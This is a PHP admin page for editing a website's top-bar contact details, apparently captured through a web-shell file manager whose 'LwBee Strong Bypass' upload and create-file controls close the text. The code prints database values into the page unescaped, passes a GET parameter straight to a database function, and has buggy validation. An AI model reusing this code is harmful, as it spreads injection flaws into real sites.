/home3/vehiclea/public_html/admin-suryasolarsystems-com/topbar_edit.php
<?php
include 'header.php';
include 'sidelinks.php';
include 'functions.php';
if(!empty($_POST['submit'])){
topbar_update();
}
if(!empty($_GET['edit'])){
$topbar_edit = topbar_edit($_GET['edit']);
$row = mysqli_fetch_array($topbar_edit);
}
?>
<div class="content-wrapper">
<div class="container-xxl flex-grow-1 container-p-y">
<h4 class="fw-bold py-3 mb-4">Top Bar</h4>
<div class="row">
<!-- Basic Layout -->
<div class="col-xxl">
<div class="card mb-6">
<div class="card-header d-flex align-items-center justify-content-between">
<h5 class="mb-0">Form Inputs</h5>
<small class="text-muted float-end">Default label</small>
</div>
<div class="card-body">
<form method="post" enctype="multipart/form-data" onsubmit = "return validation()">
<div class="row mb-4">
<label class="col-sm-2 col-form-label" for="basic-default-message">Address</label>
<div class="col-sm-4">
<textarea id="address" name="address" value="<?= $row['address']?>" class="form-control" placeholder="Enter Your Address" aria-label="Hi, Do you have a moment to talk Joe?" aria-describedby="basic-icon-default-message2"></textarea>
</div>
</div>
<div class="row mb-4">
<label class="col-sm-2 col-form-label" for="basic-default-name">E-Mail</label>
<div class="col-sm-4">
<input type="text" class="form-control" name="mailID" value="<?= $row['mailID']?>" id="mailID" placeholder="Enter E-Mail" />
</div>
</div>
<div class="row mb-4">
<label class="col-sm-2 col-form-label" for="basic-default-phone">Phone No</label>
<div class="col-sm-4">
<input type="text" id="mobileno" name="mobileno" value="<?= $row['mobileNo']?>" nospace onkeypress="return isNumber(event)" class="form-control phone-mask" placeholder="Enter Phone No" aria-label="658 799 8941" maxlength="10" aria-describedby="basic-default-phone" />
</div>
</div>
<input type="hidden" name="edit_data" value="<?= $row['id']?>">
<div class="row justify-content-end">
<div class="col-sm-10">
<input type="submit" name="submit" class="btn btn-primary" value="Send">
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php
include 'footer.php';
?>
<script>
function validation(){
var ph = $('#mobileno').val();
var phlen = ph.length;
var email_id = $('#mailID').val();
var filter_id = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
if ($('#name').val() == '') {
alert('Please Enter Your Name');
return false;
}
else if ($('#mobileno').val() == '') {
alert('Please Enter Phone Number');
return false;
}
else if (phlen < 10) {
alert("Enter 10 Digits Mobile Number");
return false;
}
else if ($('#mailID').val() == '') {
alert('Please Enter Email');
return false;
}
else if(!email_id.match(filter_id))
{
alert("Enter Valid Email Id");
return false;
}
else
{
return true;
}
}
</script>
<script>
$('.noSpace').keyup(function() {
this.value = this.value.replace(/\s/g,'');
});
function isNumber(evt,ref,len)
{
evt = (evt) ? evt : window.event;
var charCode = (evt.which) ? evt.which : evt.keyCode;
if(charCode == 8 || charCode == 9 ){
return true;
}
var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support
if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
return false;
}
else if(ref.val().length >= len){
return false;
}
return true;
}
</script>
@LwBee Strong Bypass
Upload File
Create New File